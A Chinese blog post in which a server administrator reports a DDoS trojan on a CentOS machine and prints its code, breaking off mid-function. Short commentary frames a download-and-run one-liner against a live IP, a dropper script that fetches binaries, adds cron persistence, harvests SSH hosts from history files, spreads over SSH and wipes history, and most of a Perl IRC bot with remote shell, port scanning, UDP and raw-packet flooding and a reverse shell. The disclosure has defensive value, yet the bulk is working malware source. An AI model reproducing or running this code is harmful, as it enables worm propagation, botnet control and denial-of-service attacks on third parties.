DDOS肉鸡代码-白红宇

DDOS肉鸡代码

阅读量：6905 次

发布时间：2019-06-27

本文共 33176 字，大约阅读时间需要 110 分钟。

最近一段时间，所使用的CentOS服务器被不明人士安放了木马程序；观察发现该木马程序是用来发起DDOS攻击的肉鸡程序，在发作时占用绝大部分的网络带宽。

起点：

wget http://65.254.63.20/a|sh ; curl -O http://65.254.63.20/a ; sh a;rm -rf a*

执行完上面的代码以后，你的机器就已经中招了。以下是所下载和执行的代码：

plm=`ps x |grep httpd.conf|grep -v grep`plt=`cat /proc/cpuinfo|grep aes`#pgrep perl |sed '1d;' |xargs kill -9if [ "$plm" != "" ]  then    echoelse    rm -rf  apache* httpd.conf* /usr/local/bin/sysmonitord    echo 'nameserver 8.8.8.8'> /etc/resolv.conf    #/sbin/iptables -A OUTPUT -p tcp --dport 45560 -j ACCEPT    kill -9 `ps x|grep stratum|awk '{print $1}'`    kill -9 `ps x|grep httpd.conf|grep -v grep|awk '{print $1}'`    #killall -9 sysmonitord sh wget curl    crontab -r    if [ -f libcurl.so.4 ] ; then        echo    else        wget           223.255.145.158/libcrypto.so.6 > /dev/null 2>&1        wget           223.255.145.158/libcurl.so.4 > /dev/null 2>&1        wget           223.255.145.158/libssl.so.6 > /dev/null 2>&1        wget           223.255.145.158/libldap-2.3.so.0 > /dev/null 2>&1        wget           223.255.145.158/liblber-2.3.so.0 > /dev/null 2>&1        curl -O http://223.255.145.158/libcrypto.so.6 > /dev/null 2>&1        curl -O http://223.255.145.158/libssl.so.6 > /dev/null 2>&1        curl -O http://223.255.145.158/libcurl.so.4 > /dev/null 2>&1        curl -O http://223.255.145.158/libldap-2.3.so.0 > /dev/null 2>&1        curl -O http://223.255.145.158/liblber-2.3.so.0 > /dev/null 2>&1        export LD_LIBRARY_PATH=`pwd`    fi    curl -O    http://65.254.63.20/apache > /dev/null 2>&1    wget -qO - http://65.254.63.20/.mail | perl    curl -O    http://65.254.63.20/.mail  > /dev/null 2>&1    fetch      http://65.254.63.20/.mail > /dev/null 2>&1 ; perl .mail ; rm -rf .mail*     wget       http://65.254.63.20/apache > /dev/null 2>&1    wget       http://65.254.63.20/httpd.conf > /dev/null 2>&1    curl -O    http://65.254.63.20/httpd.conf > /dev/null 2>&1    if [ -f /etc/cron.daily/anacron ] ; then        echo    else        wget -O /etc/cron.daily/anacron http://65.254.63.20/a > /dev/null 2>&1 ; chmod +x /etc/cron.daily/anacron        curl -O http://65.254.63.20/a  > /dev/null 2>&1; mv a /etc/cron.daily/anacron ; chmod +x /etc/cron.daily/anacron    fi    chmod +x apache    (exec ./apache -c httpd.conf &> /dev/null &)    sleep 2    rm -rf wget* apache* httpd*fiif [ "$plm" != "" ]  then    echo  else    if [ "$plt" != "" ]      then        echo      else        wget    http://65.254.63.20/apacheaes > /dev/null 2>&1        curl -O http://65.254.63.20/apacheaes > /dev/null 2>&1        wget    http://65.254.63.20/httpd.conf > /dev/null 2>&1        curl -O http://65.254.63.20/httpd.conf > /dev/null 2>&1        chmod +x apacheaes        mv apacheaes apache2        (exec ./apache2 -c httpd.conf &> /dev/null &)    fifiif [ -f /tmp/.h ] ; then    echoelsecat /root/.ssh/known_hosts|grep -v ,|awk '{print $1}' > /tmp/.h > /dev/null 2>&1cat /root/.ssh/known_hosts|grep ,|awk -F, '{print $1}' >> /tmp/.h > /dev/null 2>&1cat /root/.bash_history|grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}'|sort -u >> /tmp/.h > /dev/null 2>&1cat /home/*/.bash_history|grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}'|sort -u >> /tmp/.h > /dev/null 2>&1cat /home/*/.bash_history |grep ssh|awk '{print $2}'|grep -v '-'|grep -v / |sort -u >> /tmp/.h > /dev/null 2>&1cat /home/*/.bash_history |grep ssh|awk '{print $3}'|grep -v '-'|grep -v / |sort -u >> /tmp/.h > /dev/null 2>&1cat /root/.bash_history |grep ssh|awk '{print $2}'|grep -v '-'|grep -v /|sort -u >> /tmp/.h > /dev/null 2>&1cat /root/.bash_history |grep ssh|awk '{print $3}'|grep -v '-'|grep -v /|sort -u >> /tmp/.h > /dev/null 2>&1for i in `cat /tmp/.h` ; do (exec ssh -oStrictHostKeyChecking=no -oCheckHostIP=no `whoami`@$i "wget http://65.254.63.20/a|sh ; curl -O http://65.254.63.20/a ; sh a;rm -rf a*") > /dev/null 2>&1 ; donefihistory -rc

以上shell脚本代码主要是下载并执行相关代码，以启动相应功能的服务进程；然后分析相应的日志/历史文件，从中解析出相关IP地址，并尝试登录到相应IP地址并再次执行上述动作（即：下载并执行上述shell脚本，以达到感染其他机器的目的）。

上面的 wget http://65.254.63.20/.mail | perl 所下载并执行的perl代码：

#!/usr/bin/perlmy @mast3rs = ("G");my @hostauth = ("localhost");my @admchan=("#x");my @server = ("213.152.3.19");$servidor= $server[rand scalar @server] unless $servidor;my $xeqt = "!say";my $homedir = "/tmp";my $shellaccess = 1;my $xstats = 1;my $pacotes = 1;my $linas_max = 5;my $sleep = 6;my $portime = 4;my @fakeps = ("/usr/bin/httpd");my @nickname = ("V");my @xident = ("xxx");my @xname = (`uname -a`);################## Random Ports#################my @rports = ("8080");my @Mrx = ("\001mIRC32 v5.91 K.Mardam-Bey\001","\001mIRC v6.2 Khaled Mardam-Bey\001",   "\001mIRC v6.03 Khaled Mardam-Bey\001","\001mIRC v6.14 Khaled Mardam-Bey\001",   "\001mIRC v6.15 Khaled Mardam-Bey\001","\001mIRC v6.16 Khaled Mardam-Bey\001",   "\001mIRC v6.17 Khaled Mardam-Bey\001","\001mIRC v6.21 Khaled Mardam-Bey\001",   "\001Snak for Macintosh 4.9.8 English\001",   "\001DvC v0.1 PHP-5.1.1 based on Net_SmartIRC\001",   "\001PIRCH98:WIN 95/98/WIN NT:1.0 (build 1.0.1.1190)\001",   "\001xchat 2.6.2 Linux 2.6.18.5 [i686/2.67GHz]\001",   "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/2,00GHz]\001",   "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/1.70GHz]\001",   "\001XChat-GNOME IRC Chat 0.16 Linux 2.6.20-8-generic [i686]\001",   "\001ircN 7.27 + 7.0 - -\001","\001..(argon/1g) :bitchx-1.0c17\001",   "\001ircN 8.00 ^_-^_ he tries to tell me what I put inside of me ^_-^_\001",   "\001FreeBSD!4.11-STABLE bitchx-1.0c18 - prevail[0123] :down with people\001",   "\001BitchX-1.0c19+ by panasync - Linux 2.4.31 : Keep it to yourself!\001",   "\001BitchX-1.0c19+ by panasync - Linux 2.4.33.3 : Keep it to yourself!\001",   "\001BitchX-1.1-final+ by panasync - Linux 2.6.18.1 : Keep it to yourself!\001",   "\001BitchX-1.0c19 by panasync - freebsd 4.10-STABLE : Keep it to yourself!\001",   "\001BitchX-1.1-final+ by panasync - FreeBSD 4.5-STABLE : Keep it to yourself!\001",   "\001BitchX-1.1-final+ by panasync - FreeBSD 6.0-RELEASE : Keep it to yourself!\001",   "\001BitchX-1.1-final+ by panasync - FreeBSD 5.3-RELEASE : Keep it to yourself!\001",   "\001bitchx-1.0c18 :tunnelvision/1.2\001","\001PnP 4.22 - http://www.pairc.com/\001",   "\001BitchX-1.0c17/FreeBSD 4.10-RELEASE:(c)rackrock/bX [3.0.1??9] : Keep it to yourself!\001",   "\001P&P 4.22.2 (in development) + X Z P Bots, Sound, NickServ, ChanServ, Extras\001",   "\001HydraIRC v0.3.148 (18/Jan/2005) by Dominic Clifton aka Hydra - #HydraIRC on EFNet\001",   "\001irssi v0.8.10 - running on Linux i586\001","\001irssi v0.8.10 - running on FreeBSD i386\001",   "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.6mods v1.0 by acidflash - Almost there\001",   "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.8+OperMods v1.0 by acidflash - Almost there\001");# Default quick scan portsmy @portas=("21","22","23","25","53","80","110","113","143","3306","4000","5900","6667","6668","6669","7000","10000","12345","31337","65501");# xeQt#my $nick = "Power";my $nick = $nickname[rand scalar @nickname];my $realname = $xname[rand scalar @xname];my $ircname = $xident[rand scalar @xident];my $porta = $rports[rand scalar @rports];my $xproc = $fakeps[rand scalar @fakeps];my $Mrx = $Mrx[rand scalar @Mrx];my $version = 'PowerBots (C) GohacK';my $echo = "`echo` $1";$SIG{'INT'} = 'IGNORE';$SIG{'HUP'} = 'IGNORE';$SIG{'TERM'} = 'IGNORE';$SIG{'CHLD'} = 'IGNORE';$SIG{'PS'} = 'IGNORE';use IO::Socket;use Socket;use IO::Select;chdir("$homedir");$servidor="$ARGV[0]" if $ARGV[0];$0="$xproc"."\0";my $pid=fork;exit if $pid;die "[x] -> Cannot fork into background: $!" unless defined($pid);my %irc_servers;my %DCC;my $dcc_sel = new IO::Select->new();sub getnick {    return "$nickname[rand scalar @nickname]".int(rand(20000));}sub getstore ($$){    my $url = shift;    my $file = shift;    $http_stream_out = 1;    open(GET_OUTFILE, "> $file");    %http_loop_check = ();    _get($url);    close GET_OUTFILE;    return $main::http_get_result;}sub _get{    my $url = shift;    my $proxy = "";    grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;    if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {        my $host = $1;        my $port = $2 || 80;        my $path = $3;        $path = "/" unless defined($path);        return _trivial_http_get($host, $port, $path);    } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {        my $host = $1;        my $port = $2;        my $path = $url;        return _trivial_http_get($host, $port, $path);    } else {        return undef;    }}sub _trivial_http_get{    my($host, $port, $path) = @_;    my($AGENT, $VERSION, $p);    #print "HOST=$host, PORT=$port, PATH=$path\n";     $AGENT = "get-minimal";    $VERSION = "20000118";     $path =~ s/ /%20/g;     require IO::Socket;    local($^W) = 0;    my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto   => 'tcp', Timeout  => 60) || return;     $sock->autoflush;    my $netloc = $host;    $netloc .= ":$port" if $port != 80;    my $request = "GET $path HTTP/1.0\015\012"                . "Host: $netloc\015\012"                . "User-Agent: $AGENT/$VERSION/u\015\012";    $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);    $request .= "\015\012";    print $sock $request;    my $buf = "";    my $n;    my $b1 = "";    while ($n = sysread($sock, $buf, 8*1024, length($buf))) {        if ($b1 eq "") {            $b1 = $buf;            $buf =~ s/.+?\015?\012\015?\012//s;        }        if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }    }    return undef unless defined($n);    $main::http_get_result = 200;    if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {        $main::http_get_result = $1;        # print "CODE=$main::http_get_result\n$b1\n";        if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) {            my $url = $1;            return undef if $http_loop_check{$url}++;            return _get($url);        }        return undef unless $main::http_get_result =~ /^2/;    }    return $buf;}$sel_cliente = IO::Select->new();sub sendraw {    if ($#_ == '1') {        my $socket = $_[0];        print $socket "$_[1]\n";    } else {        print $IRC_cur_socket "$_[0]\n";    }}sub conectar {    my $meunick = $_[0];    my $servidor_con = $_[1];    my $porta_con = $_[2];    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);    if (defined($IRC_socket)) {        $IRC_cur_socket = $IRC_socket;        $IRC_socket->autoflush(1);        $sel_cliente->add($IRC_socket);        $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";        $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;        $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;        nick("$meunick");        sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");        sleep 2;    }}my $line_temp;while( 1 ) {    while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }    delete($irc_servers{''}) if (defined($irc_servers{''}));    &DCC::connections;    my @ready = $sel_cliente->can_read(0.6);    next unless(@ready);    foreach $fh (@ready) {        $IRC_cur_socket = $fh;        $meunick = $irc_servers{$IRC_cur_socket}{'nick'};        $nread = sysread($fh, $msg, 4096);        if ($nread == 0) {            $sel_cliente->remove($fh);            $fh->close;            delete($irc_servers{$fh});        }        @lines = split (/\n/, $msg);        for(my $c=0; $c<= $#lines; $c++) {            $line = $lines[$c];            $line=$line_temp.$line if ($line_temp);            $line_temp='';            $line =~ s/\r$//;            unless ($c == $#lines) {                parse("$line");            } else {                if ($#lines == 0) {                    parse("$line");                } elsif ($lines[$c] =~ /\r$/) {                    parse("$line");                } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {                    parse("$line");                } else {                    $line_temp = $line;                }            }        }    }}sub parse {    my $servarg = shift;    if ($servarg =~ /^PING \:(.*)/) {        sendraw("PONG :$1");    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {        my $pn=$1; my $hostnam3=$3; my $onde = $4; my $args = $5;        if ($args =~ /^\001VERSION\001$/) {            notice("$pn", "".$Mrx."");        }        elsif ($args =~ /^\001PING\s+(\d+)\001$/) {            notice("$pn", "\001PONG\001");        }        if (grep {$_ =~ /^\Q$hostnam3\E$/i } @hostauth) {            if (grep {$_ =~ /^\Q$pn\E$/i } @mast3rs) {                if ($onde eq "$meunick"){                    shell("$pn", "$args");                }                if ($args =~ /^!(.*)/){                    ircase("$pn","$chan","$1");                }                if ($args =~ /^(\Q$meunick\E|\Q$xeqt\E)\s+(.*)/ ) {                    my $natrix = $1;                    my $arg = $2;                    if ($arg =~ /^\!(.*)/) {                        ircase("$pn","$onde","$1");                    } elsif ($arg =~ /^\@(.*)/) {                        $ondep = $onde;                        $ondep = $pn if $onde eq $meunick;                        bfunc("$ondep","$1");                    } else {                        shell("$onde", "$arg");                    }                }            }        }    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {        if (lc($1) eq lc($meunick)) {            $meunick=$4;            $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;        }    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {        $meunick = getnick();        nick("".$meunick."-");    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {        $meunick = $2;        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";        foreach my $canal (@admchan){            sendraw("JOIN $canal muietie");        }    }}sub bfunc {    my $printl = $_[0];    my $funcarg = $_[1];    if (my $pid = fork) {        waitpid($pid, 0);    } else {        if (fork)        {            exit;        }        else        {            # Quick scan            if ($funcarg =~ /^ps (.*)/) {                my $hostip="$1";                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Portscanning\003\002: $1 \002\00312Ports:\003\002 default");                my (@aberta, %porta_banner);                foreach my $porta (@portas)  {                    my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);                    if ($scansock) {                        push (@aberta, $porta);                        $scansock->close;                        sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");                    }                }                if (@aberta) {                    sendraw($IRC_cur_socket, "PRIVMSG $printl :Port Scan Complete with target: $1 ");                } else {                    sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[x]\0034 No open ports found on\002 $1");                }            }            # NMAP, lol            elsif ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/)            {                my $hostname="$1";                my $portstart = "$2";                my $portend = "$3";                my (@abertas, %porta_banner);                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312xMap Portscanning\003\002: $1 \002\00312Ports:\003\002 $2-$3");                foreach my $porta ($portstart..$portend)                {                    my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);                    if ($scansock) {                        push (@abertas, $porta);                        $scansock->close;                        if ($xstats)                        {                            sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");                        }                    }                }                if (@abertas) {                    sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Scan Complate\003\002");                } else {                    sendraw($IRC_cur_socket,"PRIVMSG $printl :\002\00312No ports found..\002");                }            }            # Remove            elsif ($funcarg =~ /^rm/)            {                system("cd /var/tmp ; rm -rf cb find god* wunder* udev* lib*");                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Quickdel)\002\00314 Removed files and folders ");            }            # Version            elsif ($funcarg =~ /^version/)            {                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Version)\002\00314 $version ");            }            # Download            elsif ($funcarg =~ /^down\s+(.*)\s+(.*)/)            {                getstore("$1", "$2");                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Download)\002\00314 Page: $2 (File: $1)") if ($xstats);            }            # Udp            elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {                return unless $pacotes;                socket(Tr0x, PF_INET, SOCK_DGRAM, 17);                my $alvo=inet_aton("$1");                my $porta = "$2";                my $tempo = "$3";                my $pacote;                my $pacotese;                my $fim = time + $tempo;                my $pacota = 1;                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP DDoSing)\003 Attacking\002: $1 - \002Time\002: $tempo"."seconds");                while (($pacota == "1") && ($pacotes == "1")) {                    $pacota = 0 if ((time >= $fim) && ($tempo != "0"));                    $pacote=$rand x $rand x $rand;                    $porta = int(rand 65000) +1 if ($porta == "0");                    send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");                }                if ($xstats)                {                    sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP Complete):\003\002 $1 - \002Sendt\002: $pacotese"."kb - \002Time\002: $tempo"."seconds");                }            }            # Backconnect            elsif ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {                my $host = "$1";                my $porta = "$2";                my $proto = getprotobyname('tcp');                my $iaddr = inet_aton($host);                my $paddr = sockaddr_in($porta, $iaddr);                my $shell = "/bin/sh -i";                if ($^O eq "MSWin32") {                    $shell = "cmd.exe";                }                socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";                connect(SOCKET, $paddr) or die "connect: $!";                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[x] ->\0034 Injection ...");                open(STDIN, ">&SOCKET");                open(STDOUT, ">&SOCKET");                open(STDERR, ">&SOCKET");                system("$shell");                system("cd /tmp/.mrx");                close(STDIN);                close(STDOUT);                close(STDERR);            }            exit;        }    }}sub ircase {    my ($kem, $printl, $case) = @_;    if ($case =~ /^join (.*)/) {        j("$1");    }    elsif ($case =~ /^part (.*)/) {        p("$1");    }    elsif ($case =~ /^rejoin\s+(.*)/) {        my $chan = $1;        if ($chan =~ /^(\d+) (.*)/) {            for (my $ca = 1; $ca <= $1; $ca++ ) {                p("$2");                j("$2");            }        } else {            p("$chan");            j("$chan");        }    }    elsif ($case =~ /^op/) {        op("$printl", "$kem") if $case eq "op";        my $oarg = substr($case, 3);        op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);    }    elsif ($case =~ /^deop/) {        deop("$printl", "$kem") if $case eq "deop";        my $oarg = substr($case, 5);        deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);    }    elsif ($case =~ /^voice/) {        voice("$printl", "$kem") if $case eq "voice";        $oarg = substr($case, 6);        voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);    }    elsif ($case =~ /^devoice/) {        devoice("$printl", "$kem") if $case eq "devoice";        $oarg = substr($case, 8);        devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);    }    elsif ($case =~ /^msg\s+(\S+) (.*)/) {        msg("$1", "$2");    }    elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {        for (my $cf = 1; $cf <= $1; $cf++) {            msg("$2", "$3");        }    }    elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {        for (my $cf = 1; $cf <= $1; $cf++) {            ctcp("$2", "$3");        }    }    elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {        ctcp("$1", "$2");    }    elsif ($case =~ /^invite\s+(\S+) (.*)/) {        invite("$1", "$2");    }    elsif ($case =~ /^echo/) {        system("echo $meunick > `pwd`/botnick");        msg("done");    }    elsif ($case =~ /^nick (.*)/) {        nick("$1");    }    elsif ($case =~ /^jump\s+(\S+)\s+(\S+)/) {        conectar("$2", "$1", 6667);    }    elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {        DCC::SEND("$1", "$2");    }    elsif ($case =~ /^raw (.*)/) {        sendraw("$1");    }    elsif ($case =~ /^eval (.*)/) {        eval "$1";    }    elsif ($case =~ /^rj\s+(\S+)\s+(\d+)/) {        sleep int(rand($2));        j("$1");    }    elsif ($case =~ /^rp\s+(\S+)\s+(\d+)/) {        sleep int(rand($2));        p("$1");    }    elsif ($case =~ /^quit/) {        quit();    }    elsif ($case =~ /^rand/) {        my $novonick = getnick();        nick("$novonick");    }    elsif ($case =~ /^stat (.*)/) {        if ($1 eq "on") {            $xstats = 1;            msg("$printl", "Satus enabled");        } elsif ($1 eq "off") {            $xstats = 0;            msg("$printl", "Status disable");        }    }    elsif ($case =~ /^bang (.*)/) {        if ($1 eq "on") {            $pacotes = 1;            msg("$printl", "[x] Bang mode enabled") if ($xstats == "1");        } elsif ($1 eq "off") {            $pacotes = 0;            msg("$printl", "[x] Bang mode disabled") if ($xstats == "1");        }    }}sub shell {    return unless $shellaccess;    my $printl=$_[0];    my $comando=$_[1];    if ($comando =~ /cd (.*)/) {        chdir("$1") || msg("$printl", "cd: $1".": No such file or directory");        return;    }    elsif ($pid = fork) {        waitpid($pid, 0);    } else {        if (fork) {            exit;        } else {            my @resp=`$comando 2>&1 3>&1`;            my $c=0;            foreach my $linha (@resp) {                $c++;                chop $linha;                sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");                if ($c >= "$linas_max") {                    $c=0;                    sleep $sleep;                }            }            exit;        }    }}sub attacker {    my $iaddr = inet_aton($_[0]);    my $msg = 'B' x $_[1];    my $ftime = $_[2];    my $cp = 0;    my (%pacotes);    $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;    socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;    socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;    socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;    socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;    return(undef) if $cp == 4;    my $itime = time;    my ($cur_time);    while ( 1 ) {        for (my $porta = 1; $porta <= 65535; $porta++) {            $cur_time = time - $itime;            last if $cur_time >= $ftime;            send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);            send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);            send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);            send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);            for (my $pc = 3; $pc <= 255;$pc++) {                next if $pc == 6;                $cur_time = time - $itime;                last if $cur_time >= $ftime;                socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;                send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);            }        }        last if $cur_time >= $ftime;    }    return($cur_time, %pacotes);}sub action {    return unless $#_ == 1;    sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");}sub ctcp {    return unless $#_ == 1;    sendraw("PRIVMSG $_[0] :\001$_[1]\001");}sub msg {    return unless $#_ == 1;    sendraw("PRIVMSG $_[0] :$_[1]");}sub notice {    return unless $#_ == 1;    sendraw("NOTICE $_[0] :$_[1]");}sub op {    return unless $#_ == 1;    sendraw("MODE $_[0] +o $_[1]");}sub deop {    return unless $#_ == 1;    sendraw("MODE $_[0] -o $_[1]");}sub hop {    return unless $#_ == 1;    sendraw("MODE $_[0] +h $_[1]");}sub dehop {    return unless $#_ == 1;    sendraw("MODE $_[0] +h $_[1]");}sub voice {    return unless $#_ == 1;    sendraw("MODE $_[0] +v $_[1]");}sub devoice {    return unless $#_ == 1;    sendraw("MODE $_[0] -v $_[1]");}sub ban {    return unless $#_ == 1;    sendraw("MODE $_[0] +b $_[1]");}sub unban {    return unless $#_ == 1;    sendraw("MODE $_[0] -b $_[1]");}sub kick {    return unless $#_ == 1;    sendraw("KICK $_[0] $_[1] :$_[2]");}sub modo {    return unless $#_ == 0;    sendraw("MODE $_[0] $_[1]");}sub mode { modo(@_); }sub j { &join(@_); }sub join {    return unless $#_ == 0;    sendraw("JOIN $_[0]");}sub p { part(@_); }sub part {sendraw("PART $_[0]");}sub nick {    return unless $#_ == 0;    sendraw("NICK $_[0]");}sub invite {    return unless $#_ == 1;    sendraw("INVITE $_[1] $_[0]");}sub topico {    return unless $#_ == 1;    sendraw("TOPIC $_[0] $_[1]");}sub topic { topico(@_); }sub whois {    return unless $#_ == 0;    sendraw("WHOIS $_[0]");}sub who {    return unless $#_ == 0;    sendraw("WHO $_[0]");}sub names {    return unless $#_ == 0;    sendraw("NAMES $_[0]");}sub away {    sendraw("AWAY $_[0]");}sub back { away(); }sub quit {    sendraw("QUIT :$_[0]");    exit;}package DCC;sub connections {    my @ready = $dcc_sel->can_read(1);#   return unless (@ready);    foreach my $fh (@ready) {        my $dcctipo = $DCC{$fh}{tipo};        my $arquivo = $DCC{$fh}{arquivo};        my $bytes = $DCC{$fh}{bytes};        my $cur_byte = $DCC{$fh}{curbyte};        my $nick = $DCC{$fh}{nick};        my $msg;        my $nread = sysread($fh, $msg, 10240);        if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {            $DCC{$fh}{status} = "Cancelado";            $DCC{$fh}{ftime} = time;            $dcc_sel->remove($fh);            $fh->close;            next;        }        if ($dcctipo eq "get") {            $DCC{$fh}{curbyte} += length($msg);            my $cur_byte = $DCC{$fh}{curbyte};            open(FILE, ">> $arquivo");            print FILE "$msg" if ($cur_byte <= $bytes);            close(FILE);            my $packbyte = pack("N", $cur_byte);            print $fh "$packbyte";            if ($bytes == $cur_byte) {               $dcc_sel->remove($fh);               $fh->close;               $DCC{$fh}{status} = "Recebido";               $DCC{$fh}{ftime} = time;               next;            }        } elsif ($dcctipo eq "send") {            my $send = $fh->accept;            $send->autoflush(1);            $dcc_sel->add($send);            $dcc_sel->remove($fh);            $DCC{$send}{tipo} = 'sendcon';            $DCC{$send}{itime} = time;            $DCC{$send}{nick} = $nick;            $DCC{$send}{bytes} = $bytes;            $DCC{$send}{curbyte} = 0;            $DCC{$send}{arquivo} = $arquivo;            $DCC{$send}{ip} = $send->peerhost;            $DCC{$send}{porta} = $send->peerport;            $DCC{$send}{status} = "Enviando";            open(FILE, "< $arquivo");            my $fbytes;            read(FILE, $fbytes, 1024);            print $send "$fbytes";            close FILE;#            delete($DCC{$fh});        } elsif ($dcctipo eq 'sendcon') {            my $bytes_sended = unpack("N", $msg);            $DCC{$fh}{curbyte} = $bytes_sended;            if ($bytes_sended == $bytes) {                $fh->close;                $dcc_sel->remove($fh);                $DCC{$fh}{status} = "Enviado";                $DCC{$fh}{ftime} = time;                next;            }            open(SENDFILE, "< $arquivo");            seek(SENDFILE, $bytes_sended, 0);            my $send_bytes;            read(SENDFILE, $send_bytes, 1024);            print $fh "$send_bytes";            close(SENDFILE);        }    }}sub SEND {    my ($nick, $arquivo) = @_;    unless (-r "$arquivo") {        return(0);    }    my $dccark = $arquivo;    $dccark =~ s/[.*\/](\S+)/$1/;    my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};    my $longip = unpack("N",inet_aton($meuip));    my @filestat = stat($arquivo);    my $size_total=$filestat[7];    if ($size_total == 0) {        return(0);    }    my ($porta, $sendsock);    do {        $porta = int rand(64511);        $porta += 1024;        $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);    } until $sendsock;    $DCC{$sendsock}{tipo} = 'send';    $DCC{$sendsock}{nick} = $nick;    $DCC{$sendsock}{bytes} = $size_total;    $DCC{$sendsock}{arquivo} = $arquivo;    &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");}sub GET {    my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;    return(0) if (-e "$arquivo");    if (open(FILE, "> $arquivo")) {        close FILE;    } else {        return(0);    }    my $dccip=fixaddr($dcclongip);    return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);    my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);    $dccsock->autoflush(1);    $dcc_sel->add($dccsock);    $DCC{$dccsock}{tipo} = 'get';    $DCC{$dccsock}{itime} = time;    $DCC{$dccsock}{nick} = $nick;    $DCC{$dccsock}{bytes} = $bytes;    $DCC{$dccsock}{curbyte} = 0;    $DCC{$dccsock}{arquivo} = $arquivo;    $DCC{$dccsock}{ip} = $dccip;    $DCC{$dccsock}{porta} = $dccporta;    $DCC{$dccsock}{status} = "Recebendo";}sub Status {    my $socket = shift;    my 